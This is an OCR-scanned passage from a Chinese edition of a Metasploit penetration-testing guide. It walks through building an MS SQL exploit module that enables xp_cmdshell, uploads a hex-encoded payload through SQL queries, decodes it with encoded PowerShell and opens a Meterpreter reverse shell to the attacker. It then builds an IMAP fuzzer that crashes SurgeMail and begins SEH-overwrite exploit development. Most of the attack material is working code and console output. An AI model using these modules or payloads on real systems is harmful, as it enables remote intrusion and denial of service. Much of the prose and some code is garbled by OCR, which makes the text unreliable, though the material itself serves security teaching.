# Re-enable the xp_cmdshell stored procedure in 2005 and 2008

def mssql_xpcmdshell_enable(opts={});

"exec master.dbo.sp_configure 'show advanced options’,1;RECONFIGURE;exec
master.dbo.sp_configure 'xp cmdshell’, 1;RECONFIGURE;"®

LB O 5 R T H%kAE MS SQL 2005 F1 2008 H#iE xp_cmdshell 72450 B KX B4 4.
e, MOELTHRTRHRAXSS H CHERFTERZINRE, T2 iLRIITHSmAEE !
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F13E RERECHER

13.3 HE—PHRIELR

BRARILE ESHT — KB ERR, TiR#iB T —&i247% Microsoft Server 2008 R2 ¥ & Al
SQL Server 2008 1 &%t, H T Windows 7 x64 {1 F & 1 Windows Server 2008 -5 Lk
T debug.exe, FIAEIXERGE FARTEEMFITES 11 |ABIME G ok B e — R BUT .
XKV B S BT B, RS IR AESE R LI BGTT— & Windows Server 2008 1 SQL
Server 2008 1R % .

EMNEXREFEWN LSRR H TR, 8%, REEHE T SQL R E3M sa K/ 0
2, EFRBCLEIG T xp_cmdshell ARV . TIHRFERXE HRRS LiE—4
Meterpreter F) B 84T, {HAEER T 1433 35 02 ST HI3R 8RS . MRIFAGNIE HR R4
REFYIERT Kk 8E Windows BAFBI XERHIRY", (AURITIEBAEIX & R G0/ 151 R 52 X
BT ki, LARSREE.

13.3.1 PowerShell

Windows ] PowerShell & A I7EXFME 7 = FrE— AT fT Bk 5. PowerShell & —/NIh
REFRA M Windows MIAE T, AT LLAVFHREL &y 24T % U ) B ECNET HEZE. 35K
PowerShell # X IEABRY XA TR, i FIhaEMEREEM S NET AL %24
EEH—NMEFEMHM TR, RAITEXEAS LK R HFEAE PowerShell i) T/ FEFEAE T HA
TR 3, R FEMEERIE —SEFNRERSE TS LT LR K2 Thas i A
HRIEE TR T .

BAVEGRE —ANFHE, (€M Metasploit 538 KThAEH — BB+ HI#ER (5]
# Base64 Hig 7)), BEFHLMUIKENBRERE L, REERINEH PowerShell #5145
Rl R, XN R ABITE T .

He, RIDELWM T4, M mssql payload 8B BRSO E# VLM PERR SC 14

root@bt:/opt/framevork3/msf3# cp modules/exploits/windows/mssql/mssql_payload.rb
modules/exploits/windows/mssql/mssql_powershell.rb

R, BAHTIFRIRIGIE K mssql_powershell.rb XA, W FBREHAHE, XE - ETF
BIBEBGLRY shell B, TE1E—Lemf (AP 4 B IR TS AR BEL HEN—TFTAEZATES$
I — e B R,

require 'msf/core’ # require core libraries

class Metasploit3 < Msf::Exploit::Remote # define this as a remote exploit
Rank = ExcellentRanking # reliable exploit ranking

include Msf::Exploit::Remote::MSSQL # include the mssql.rb library
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Metasploit i&i% i {5

def initialize(info = {}) # initialize the basic template
Osuper(update_info(info,
"Name' . => 'Microsoft SQL Server PowerShell Payload',
'Description’ =» %q{
This module will deliver our payload through Microsoft PowerShell
using MSSQL based attack vectors.

1
'Author’ => [ 'David Kennedy "Rel1K" <kennedydoi13[at]gmail.com>'],
'License’ => MSF_LICENSE,
'Version' =» '$Revision: 8771 §',
'References’ =>
[
[ "URL', "http://www.secmaniac.com' ]
1
@ 'Platform’ => 'win', # target only windows
'Targets’ =>
[

[ 'Automatic', { } ], # automatic targeting

I,
©'DefaultTarget' => 0

))

register_options( # register options for the user to pick from
@0ptBool.new( 'UsePowerShell',[ false, "Use PowerShell as payload delivery
method instead", true]), # default to PowerShell
1
end

def exploit # define our exploit here; it does nothing at this point

®@handler # call the Metasploit handler

disconnect # after handler disconnect

end
end

FEIXMBE B R EER F8 LAEZAT, REFER L MEANRE. HiEEs XY
B A ERMSERGO, ZJEEANE XBERIEETFA (Windows) @K H b5 & %
RO (FAHRIMERGARE) . RN EAGE X 4K UsePowerShell (IH S HO, 7Ei8EIH
TR EEARE S ER. BEfHEe —MEEFIIRO, b Bli# fa sl B A7 2R 40 1
puzt;

13.3.2 i&{T Shell BB

ESE M B EMABRAMESR Z 5, FA'1E MSF £ -pIZTIX/MESR, REF TRAET W
LS -

mst > use windows/mssql/mssql_powershell
msf exploit(mssql powershell) > show options
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o

Z138 HRSHRECHER

Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

UsePowerShell true no Use PowerShell as payload delivery method instead

HACE 5 P41 show options 412 IZ1Ti%Ar 4 LLE R B INEX ME &R
B BT G BLOE T

TRLETRA 1B R 22 ST M BT T B4 AR GRS B mssql_powershell.rb SUH, SRIFHEAS S350 —
N mssqlrb LAET,

M HR7E Metasploit BIBEE H 3 (modules/exploits, modules/auxiliary) ' E575 # 70515 B
B URmRT, e RIMA L EEBHEE LT MR H, ARG B “defexploit” 185,
T E EARAE A PRAOACES N E R B v ERE, 1RSI R R AN X SRR AR TR FEF
MRS, RATE BTN def exploit /03, XBHRESE LT BAMBE R b L ] T
AER, SRS BA TS AR K BB — R 2@ A o LA R 53, HLER T RN AT &
f .

def exploit

# if u/n and p/w didn't work throw error

@if(not mssql_login datastore)
@print_status("Invalid SQL Server credentials")
return

end

# Use powershell method for payload delivery
®if (datastore['UsePowerShell'])

Opowershell upload exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))

end
handler
disconnect
end
end

XMES Y ERERINERCALEREXT 0, nFRAFExR, Wi “Invalid SQL Server
Credentials” @745 R UsePowerShell 757%@ 2 K powershell_upload_exec (1O,
XA ERBCH A A E DRI B E IR 48 £ 1 Metasploit Btidif. fERITRAZITX
M FER G ERE, HJRMNE MSF &y i RAEA K ZGE A, EHFMRE Msf::
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i

%

Metasploit &% i 157
Util::EXE.to_win32pe(framework,payload.encoded) FI3E R it B H 3h A A1 £ — DT BGE
for — B HIRE

13.3.3 %S powershell_upload_exec &

MAERATHKFIT FF Z R BB L Metasploit # O JEP K] mssqlrb XIF, FHEEMEBR. B
1115618 $£ 2 N powershell upload _exec bR EX A7 .

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb

AR Metasploit &, B[ LAE % “PowerShell” , Ni%A] LLTE mssql.rb XA EH BT I H
FOARRS, FRA] LA X S RFD M SO i BR,  LRFRATIE LA AV X B AR A5 .

#

# Upload and execute a Windows binary through MS SQL queries and PowerShell
#

Odef powershell upload exec(exe, debug=false)

# hex converter

@®hex = exe.unpack("H*")[0]

#f create random alpha 8 character names

©var_payload = rand_text_alpha(8)

@print_status("Warning: This module will leave #{var_payload}.exe in the SQL
Server ¥TEMPX directory")

PR a] LLE B A% powershell_upload_exec R EffIE X O, %A ¥ H01E exe I debug B P
NEH, exe BERBAN1Z AT LA IR FIA) M EZELFD Msf:Util::EXE.to_win32pe(frame-
work,payload.encoded) & 1% i ¥ () —#t HIBRAT SCHF, T debug Z BN E A false, RaBA]
REEBMEST debug 5 B, JIRFERAT IR vl LG BE R true.

BETX, BRITKENRISZEN RPN RGN T AERHRERXO, XTHH
“H” FEERE “HFF —iehE My, FR8H LI N BERI R R B R 7.

BATBIER T —ABEHLE i\ AL F R RIS 2O, 8 X R BEHLAL SO 2 7 AR T % 8
RHEHRE.

BiE, BINEFRGE, WHERARFSREEHRRZT, 7£ SQL M5 H/Temp HX
TeO.

13.3.4 MRtk E Z#HIEF

Fifif PowerShell 4’5 RT3 B8 T A+ NSl AR B BRI R, XBANUHE
WoPE O — AN FRBRR, PR EAZEBRRS LT A .
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F13F REIRECHER

# Our payload converter grabs a hex file and converts it to binary through PowerShell
@ hzb = "$s = gc "C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('"', $5);$5= @3s.
Replace('"r',""); $s = $s.Replace(’'"n',"');$b = new-object byte[] $($s.Length/
2);0..5($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};
[I0.File]::WriteAl1Bytes('C:\\Windows\\Temp\\#{var_payload}.exe’,$b}"
©® h2b_unicode=Rex::Text.to_unicode(h2b)

# base64 encoding allows us to perform execution through powershell without registry changes
® hzb_encoded = Rex::Text.encode_base64(h2b_unicode)

® print_status("Uploading the payload #{var payload}, please be patient...")

BAEL PowerShell & T —MATA#HEIE i HI B0, XITRELHF EEGRT
—ANFHEAL, RGN Metasploit Brti# A LA I A X B A# 2 (var_payload
2L Metasploit 22 B f]—ANBEFLSCH 4D -

¥ MS SQL 275 M F KB PR E], RATHEH -7 sk AR M B 8 2 % 500
TR, MG 8T B2 MGk EXFERT RN — N EIERREEREI B REE
AP LI I — Lo E £ 31T F (CRLF), MXERIERITHFTER LR, RINWMNTES
M X O] E B AT RS O, WM AR X LRI ERATRIMER, A BATHR A f — i
HIFEFEREBIAN, AREEFHEHIIT. EEEXE, RAMOGE L 1bESs B RP R r Fn
B T2, BT B0 X5 T BIESATR .

—HRXERERITHEHE EBRZE, BT X+ N6 B Metasploit B i 8 A7 H FH
Convert::ToByte, FA'1il PowerShell ¥+ AN HIE A X HHEIFBGAR - XH2H
#{var_payload}.exe )~ Mt HIFRFF . AETRERITH h2b WAZ G, BAIILL—FF PowerShell %
FRE T T RO 2 GBS 7 FOR X X B A AT RS, HIDJS A2 RVFRAIBERTE 1T P,
TR B A A0HS

RATE LM h2b PR HFEEA Unicode HIGTKO, KRG P Unicode FHFEHHT
Base64 4if3@, XK #1107 LK -EncodedCommand Fr& {744 i# 45 PowerShell, LLG8iLil H & m
FAERPATRR S $AT BB SR B AN O VF AR S R B (5 AR B A BT, X0 FOR4P H P B 1k B
BHATEBN F TROEZEH AR EE. WRRMNAN LGS HETHRG, BABLENT
PowerShell fUhY, BB MELEBEEHRRG. X ST AR G 85 050 047 PR
Hikg, JFRTLUTE— RS hHEmEEABRAE.

ZERAMEE T h2b FREBNGL SR EN S, RAIEEE L PowerShell firé LI —Fr EHH
g, ZE— N AHEPR SR ERSE P BT RATTH PowerShell 445 .
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Metasploit i&i& ik 35

TEP B O, BFFH5#E Unicode 15, X RBFBEHINE B 45154 PowerShell FI3E4E
K. h2b encoded=Rex::Text.encoded base64(h2b unicode)i&E A K 775 S it — 46 &) Base64 4
%, f&i#i4s MS SQL. Base64 f& EncodedCommand br&EALFT fa KA M4 R . BRI EHF
Frea ¥l Unicode, #RJ5 LA Base64 g, A & PowerShell 2 I TR, BE, R
I 4 it — %A% B O, R LA FEBGHEA.

13.3.5 it+#=8

VRIS TN URERER SO S AT B, IR RIS R C2RINE T £ /0803 ZERmmMR
B, — A ERETHRS idx BVIRE D 0. HRAFIRSUAFIOA R, IFEB IR/ Sk AL
PFEIBRAE RGEIBHE 500 795, FIHRE.: XATHERRHR R 500 F1, RERE, F

BEHR 500 #, FAR”, EEIEEMEISUERRZ.

0 idx=0

® cnt = 500

® while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>#TEMP%\\#{var_payload}", false)
idx += cnt
end

@ print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell (“powershell -EncodedCommand #{hzb_encoded}", debug)
mssql_xpcmdshell("cmd.exe /c del XTEMP%\\#{var payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("¥TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end

[EHZ—FRANFRH BT A RIEE HrRIE RS, HERIIEIRK 500 FARH, B8]
£ A 7 2028 idx @R ent@ SR ERERELl S0 R WA e D) S0, V4038 idx BRI ent (500) A7
5, M Metasploit B A IKIEE 500 7@, HRiE AN ERBHRRSE L,
HE idx HEEAB) 5B EAKE, XHRR.

BMNEFR—FHERO, WHIHHERE C AL EA-EncodedCommand PowerShell iy 417 ¥
#, MFEHR PowerShell fip 4§ ¥ b Base6d Wi H X, REHEHMETHRERSZ L.
"powershellEncodedCommand #{h2b_encoded } "I AT ¥ AT B o Bify, it 28t Baseb4 Sl i)
PowerShell it 1 /ANEEHRBATHEHRE —HERN, EAARRANIHERE L, BE#
TAT
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LA RAEA mssqlrb SCAFHI A2 E540ES :
#
# Upload and execute a Windows binary through MSSQL queries and Powershell

#
def powershell upload exec(exe, debug=false)

# hex converter

hex = exe.unpack("H*")[0]

# create random alpha 8 character names

#var_bypass = rand_text_alpha(8)

var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var payload}.exe in the SQL
Server XTEMP% directory”)

# our payload converter, grabs a hex file and converts it to binary for us through
powershell

h2b = "$s = gc "C:\\Windows\\Temp\\#{var_payload}';%$s = [string]::Join('', $s5);%s
= $s.Replace('"r',"'"); %5 = $s.Replace('"n',"");$b = new-object byte[]$($s
.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring
($($_*2),§),16}}; [10.File]: :WriteAllBytes('C: \\Windows\\Temp\\#{var_payload}

.exe’,$b)"

h2b_unicode=Rex: :Text.to_unicode(hzb)

# base64 encode it, this allows us to perform execution through powershell without
registry changes

h2b _encoded = Rex::Text.encode base64(h2b unicode)

print_status("Uploading the payload #{var payload}, please be patient...”)

idx =0

cnt = 500

while(idx < hex.length - 1)
mssql_xpcmdshell("omd.exe /c echo #{hex[idx,cnt]}>>%TEMPE\\#{var_payload}", false)
idx += cnt

end

print_status("Converting the payload utilizing PowerShell EncodedCommand...")

mssql_xpcmdshell(”powershell -EncodedCommand #{h2b_encoded}”, debug)

mssql_xpcmdshell(“cmd.exe /c del ¥TEMPE\\#{var payload}”, debug)

print_status("Executing the payload...")

mssql xpcmdshell("%TEMP¥\\#{var payload}.exe", false, {:timeout => 1})

print_status("Be sure to cleanup #{var payload}.exe...")

end

13.3.6 E{TEEWELRR

HBAVTER mssql_powershell.rb F1 mssqlrb FHI9R1S TAEZ )G, RATATLAETL Metasploit
HESEH0 MSF &Kz T XM B, FL2 i, BINFTER A REVSE Legw
T PowerShell. FRAEFRATRT LA IZ4T U1 F By & kBT B A1 1 88 319 5 1R198 38 BLah S

mst > use windows/mssql/mssql_powershell

msf exploit(mssql_powershell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit{mssql_powershell) > set LHOST 172.16.32.129

LHOST => 172.16.32.129

msf exploit(mssql powershell) > set RHOST 172.16.32.136
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&% Mk 15/

RHOST => 172.16.32.136
mst exploit(mssql_powershell) > exploit

[*] started reverse handler on 172.16.32.129:4444

[*] Warning: This module will leave CztBAnfG.exe in the SQL Server ¥TEMP% directory

[*] Uploading the payload CztBAnfG, please be patient...

[*] Converting the payload utilizing PowerShell EncodedCommand...

[*] Executing the payload...

[*] Sending stage (748032 bytes) to 172.16.32.136

[*] Be sure to cleanup CztBAnfG.exe...

[*] Meterpreter session 1 opened (172.16.32.129:4444 -> 172.16.32.136:49164) at 2010-05-17
16:12:19 -0400

meterpreter »

13.4 /5. KBBERMER

AR ABARN, Sk, R E AR )RR £ B A1 e LI#E Metasploit
FERE A L A L B B . HEMRN Metasploit HEARE 7283, H L/ THA
R R THER, BERZHEERT, WREEVETENEFERRS R A SHBEIAUEL. &
ENURBIRE TV HRTTR R, BRESEEFILMA Metasploit BEUEH, A EIE
A2 UL R R R B X RE A SEER IR FHRXT Metasploit FIIATR T 8 LA 8 E A 6E 1) AR E
EHBR. 75 14 SHRE IS E P X 8 H AR, DURAHTEIEA]. it RXER
102t ] H 2 LA Be o] TAEHT, SREVREA AT LIRS Hse 2R TR 8 CREB SN 7. mRikid
A% Ruby HFDES, REFFDEAEELEE — AUSEERE, HHR— 4 Ruby KHEATREM
%3], MR, FIUTEHE TR FFREAR, B EELEET LRI,
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

-l B o -

fliE{FrA C B EW LR

VB —RBENRE, ORI E BB FE R RN T, R Metasploit 2 #1%
AHEMB BB BRI, X, MRATER B SRR XN AR PR, R
MERTIRACKBE.

AR R g — e B O R PR R A B ek X I I FE AT Fuzz Wk Fuzz S04 —
SR, JEFUNIN . BEEABEYALEERA T B RN AR, AR5 RNT R HELE 0
BMERETH. WREBETI M RERRALZLERR, Rl LE—B A EIFE —NBBR S
k. Fuzz WRABAR—AT AEEE, MHELAFLBHESEMNMFXHER. X
BAMUIANH— i Fuzz AR AR ML E, REREAZINAGRE —0T LTRSS R

FEATF, RAVHHFIR LN — T Fuzz MR ZRFRARE & 55ERBATRE,
A1 T¥51¢ Fl — A 7E NetWin SurgeMail 3.8k4-4ru ¥ {4 i Matteo Memelli (ryujin) it RELEI © A A
RIEERRB], ZRFABESRAEEBERE BT AN Attp:/Awww.exploit-db.com/exploits/5259/
RELE] . XA ARARHEKY LIST @4 4B ASEERA, oA SBOERE I EERG
FHl LB rfs.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
ﬂéﬁ%ﬁﬁwﬂ, WIAFAE A PR IR BOR IR bR A 15 S EURIE PRI Z Ab, 05 40, Bk SrBIF LU 350 S IERRCTAE, 2 HE
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;£iE Wik f

BT ARG CELRBSERGTL, FHEEF R BEHSEF LT AME,
AR LA ARE,. wRALEEE B MmEH", RTUASEMN XKL EN
( http'ffww exploit-db.com/) P #F|—#k &7 corelancOd3r % 5 ¢ F A F 69342, EV AR

ik B ERDE S HALE I KRB L (hip://www.exploit-db.com/download_pdf/135
35/, ¥ S iEASi A E K E £ hitpi//bbs.pediy.com/showthread.php?p=713035#post713035) #=
<k ik R %E FA2E =344 SEH” (http:// www.exploit-db.com/download pdf/13537/, & L
#4511 5% & F 3% http://bbs.pediy.com/showthread.php?t=102040).

141 Fuzz MBI Z K

ERFFRATAT BB RIS 0T, RBEEFHRNAE—TINARE P REfAEZ 2R, X4
Pk i B AFH Fuzz WAEAR .

THERT —ANEELE IMAP tHil Fuzz W88 MURAHS, R o] LUK HARAFEER K
/root/.msf3/modules/auxiliary/fuzzers/ A% F, A7 B AN TR AR RRAEIA Metasploit 111
ARG IRAE R

require 'msf/core’
class Metasploit3 < Msf::Auxiliary
O®include Msf::Exploit::Remote: :Imap
®include Msf::Auxiliary::Dos
def initialize

super(
*Name * =» 'Simple IMAP Fuzzer',
'Description’ => %g{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this
fuzzer.},
'Author’ => [ 'ryujin' ],
'License’ => MSF_LICENSE,
"Version' => '$Revision: 1 §'
)

end
def fuzz_str()
©return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def Tun()
srand(0)
while (true)
@connected = connect_login()
if not connected
print_status("Hest is not responding - this is GooD ;)")
break
end
print_status("Generating fuzzed data...”)
@fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length = %d" ¥ fuzzed. length)
@req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + “\r\n"
print_status(req)
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F14E GRFECHEERHERR

res = raw_send recv(req)
if lres.nil?

print_status(res)
else

print_status("Server crashed, no response")
break

end

disconnect()

end
end
end

XA Fuzz SRR SSEEBARIATEFF 26T 51 T IMAP@FT DoS 2£@, 51 IMAP 27T LLLFR{E
MHERERIEE, W T4 Fuzz 03810 H 092 AR5 0 8, A DUXASBEHO S 3UE4
1R %5 «

Fuzz JAF 88 (BATERILL RS s EE) R BN BAKEN 1024 FHH—
M F RS AR RENIAL 2 @, SRS Fuzz MRS ERIF SR FIER MRS O, WEERE
ALEfiE, EHREROLER T, XMERRFERE —SHEARE T, REIHA TN ]
BERMRE R LT B T m R &R R

Fuzzed ZBAIR ¥ i Metasploit HEALHTF=4 H BN LT HH O, REHNFERITN
LIST fr&tigth-— MNEEMIERO, HREZAEBERSESE, WE Fuzz WAL E W% AR
FaEImA, KEFTENH “Server crashed, no response” I B 5B H .

T IRAR T an 'S X ANETY Fuzz MRS, 5830 MSF 434, FEXMER, HFUTR
BT EE T

msf > use auxiliary/fuzzers/imap fuzz
msf auxiliary(imap fuzz) > show options

Module options:

Name Current Setting Required Description

IMAPPASS no The password for the specified username
IMAPUSER no The username to authenticate as

RHOST yes The target address

RPORT 143 yes The target port

msf auxiliary(imap fuzz) > set IMAPPASS test
IMAPPASS => test

msf auxiliary(imap_fuzz) > set IMAPUSER test
IMAPUSER => test

msf auxiliary(imap fuzz) > set RHOST 192.168.1.155
RHOST => 192.168.1.155

msf auxiliary(imap_fuzz) >
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==
R

sTHI]: AU BEBRM 2 2 2 s AR AN R AT s AT A, 5 N 24 B AT 1) SRR AR AR ABIE A ST A o DRIAS S B0 B R

KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

Metasploit i&iERiX &R

XA Fuzz MAB DLW EFENTT, HHERSEFHRIEFENFRSE (RINAEXEEH
Immunity Debugger) FHW 02 surgemail exe $78 &, #RJGIEAT Fuzz Wik 8§:

msf auxiliary(imap_fuzz) > run

[*]
[*]
[*]
[*]

*

Generating fuzzed data...

ending fuzzed data, buffer length = 684

0002 LIST () "/v1AD7DnITVykXGYYM6BmnXuYR1ZNIJUzQzFPvASjYxzdTTOngBl5gfKOXjLy3ciAAk1FmoO
RPEpq6f4BBNp5 jm3 LuShAQj 1MSqULEGE vODMk0aOPU 6 XPNIVWXFpAfFeAxykiwdDigNwnVIAKyT6X7C51je7
DSujURybOp6BkKWrolLCzQg2AmTuqza8oNeY9CDeirNwoITf1al40Ds90gEDT LAWNS T L4QYdVUZ0B5219Thogk7
75GVFNH4YPpSo2P LmvdsBT2sY9YDSvDgMmWOFXrgLloUK2r19cvoChTZX12zuU1dDjn] IpXDuaysDfIKbtHnoVh
siiYhFokALiF10I9BRwj4boOkwZDn8jyedxhSRAUICF1Ms19CvbVnnLWeRCHScrTxpduVIZygblcTRp6AkQgke
YODzI4bd7uXgTIHXN6R403ALCkZgqOWCUSEWj6THIONFAIPP1LENctaKouxbz jpS1ize16r3885tXBGgiweT0a
876xqIsNSGmnINAHQ4WAPZT JGRHUZC8Q4ytXYEksxXe2ZUh15Xbdhz13zW2HpxJ2AT 4kRU1wDgBUk EQwvKtoeb
rfUGI8bviTMSxKihrDMk6BxAnY6k JFGDi508hcEagatzI1FhHGeI 2UHDVbsDMUHT fAFbre]THV1cIruAozmZKz
i7XgTa0OgzGh" “PWNED"

Authenticating as test with password test...
S

® [*] 0002 OK LIST completed
« » +» SNIP , . .

[*] Authenticating as test with password test...

[*] Generating fuzzed data...

[*] Sending fuzzed data, buffer length = 1007

[*] 0002 LIST () "/FzwljIcL16vWAPXDPpIbpsHBap7Xts9ofbalYjRIASKRqbInOMzprZfVZH7BYvCHUWINOYq
yfoCrlyobzOqoscJeTeRgrDOKASMDDLbmY6WCQ6XQHOWk jac9 ICFPjIqTndsocWBz1xLMX1Vdsut JE tnceHvhl
GgeebDjh7v3olWatXIMMxeBuR2NgB1KoCbH1BVTRBGUFqWCmQ097083gRofoibinKdWdcE6ivbOHEIALYKFYZZ
06Q5dvzas8DVhn8sqSnRAmq1U1cUGUvr6T99P01rZst10r60612B03 TBGDF Uy OdNMIOEUANKZ60NCN3Zk1IL65
9MC8PZy0frCiPBqZ4xn0biAjFTHSLsCIFulseZ9LsdXdek71i0hEmWGD86mALyg9S1a7RALTBRCLIHI pwMsEE
5LS1wIV9aFPSERQWIADLF4bGS1e1FCyF63hy3Vo8AKkId6yusMfjwfUExandVeUldk8csbhlyqoDp3UxX2C1QpPZ
0s0KpFoIcxmq8ROE 3R15415Y130PcN7U20Kb1CEATbhxGFgh1oMzjIpuM7 IbHMrZNjVADz6A0byzZgiP2pXa7Zm
010oV9u6Fwaol6sR60LOPngIMYNWTMXTUd1E 710 uOmkdgglPTkZ3n4de1FEaLh8Xhf9SNSPZUXOM7gmUiyNYve
qti30my8qvjl0oQui1IhUhfs5fKOunKIcBSZw7quznxViGF 2RShXVTw1v1bMiSTOW68ZDF1D6q6BI4530NrFCyXX
aQpAURyCoDGdjoxk1vrUPGusT3i4EIF2iqyyekWiQ7GuYcwMax3002XB2djFh2dYEGYBSCHaF hpwlgamThinnM
AsDFUEY9HQ9UOQSmZ6ySunifPFjCbDs4ZooquwoHPaVnbNVog 7 tfVBYSei9diWCUWWUAPY IVS TGoDNRVarOrgsq
wbzivBa0aPZ7Y8r0SUiB1nNh1h13UCVZpf8GckopsjETT4ks356q0I3mLZkqCLkznVV4ayetVgaDm™ “PWNED"

@ [*] Server crashed, no response
[*] Auxiliary module execution completed
msf auxiliary(imap_fuzz) >

ARG R T, AILUE #| Fuzz PRASERI TR T mEAT IMAP [R50, HAER T —1T
BENLILF RO, RERMEFHAERIERRERRS MO, FRBIMNITERHRO. Wk
Fuzz SRR A WEMEM AN, R78E B —DEaRS RS B RAETO, XAREEIFR
A HIORAE RO TEER.

IXBE Windows $EHL ERYETAREIRES, MR LAE BIRIAS LR SR bt L1
BT, w141 FiR. BEABA, REFBIXRRE A EMAfF kgl s, RERE,
R AR B AT R FLIESC i t B R 7. i — DB B AR XHKER, R
RIMPRIE—MEF] 11,000 FHKERFRS G, 7THERL TR CERE (SEH). @
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$14 % tIR{FACHBERHRR

if#%) SEH 7] AR B AR E N SR, JFLTENEM. R, /R NAHM%F DLL
IR [l kT UL AR 8 B A RS T A R RO BRAE R AR

4 Immunity Debugger - surgemail.exe - [CPU - thread 00000294, module surgemai] |- 'H |XE

Flle Wiew Debug Plugins Immlb Options Window Help Jobs i | I
B it en it e e Sy SRS el v s B B R e "

i‘ G [

i Paused

B 14-1 R B AR

RIE—A 11,000 FHKER RS, ROV BELE Fuzz MR BTG PHAT - LADHBH
R iR

print_status(“Generating fuzzed data...")
fuzzed = "A" * 11000 \
print_status("Sending fuzzed data, buffer length = %¥d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

XBRAEIFREEH THEIMLAFR SR, TRRIET 11,000 MERF A RGEERIFK.

14.2 FHEHLEELIBEE

WRREF B surgemail IRy, EFRHRRBM M L, HHKIEBIT Fuzz iK%, 7R7
LA B A  Fuzz HORA IR A . W0 R ARAEA K& Immunity Debugger, 77 LUIEHE View ->
SEH Chain 3RHTk #%F SEH #MA R, ARSTE, NRR 41414141, RIGIEFE “Follow
address in stack”, 7] LAZEE 14-2 Frsfis THES B H F 8 SEH (5 H#R N .
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&iEAiX &

B 14-2 % EJfEH SEH 8% H

WRELME T AT LOEE AL — MK TR 8, RE I AR surgemail AR % 2E#2H) SEH
i, BLAER IR H e e HAR AL LEEAT SEH BB R ENEMXEHKE T, WRFLCH
BATB BT R, FERMERH AR EIHAE 2 BT, R E 5 7 2 4 i A i A4 1Y
LA

BT Fuzz SIKBRHAMAHE, QEH - MEEKEAENFHARARIELH LT
#, WFFR:

print_status("Generating fuzzed data...")
fuzzed = Rex::Text.pattern_create(11000)
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () “/' + fuzzed + '" "PWNED"' + "\r\n"

ZEXBARIE S, IRAMEA T Rex:Text.pattern_create 7£ Fuzz MR HER T —MMEER
MIBEHLL R, REEHIEIT Fuzz WiRAR, 4R B/ SEH BEHRAEN “684E3368” (F -
YREVEITHIRATRER F 50— BENLED . W 14-3 FioR.

B 14-3 SEH #8505 W EHL 7/ &
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H14F (RRASHBERTERR

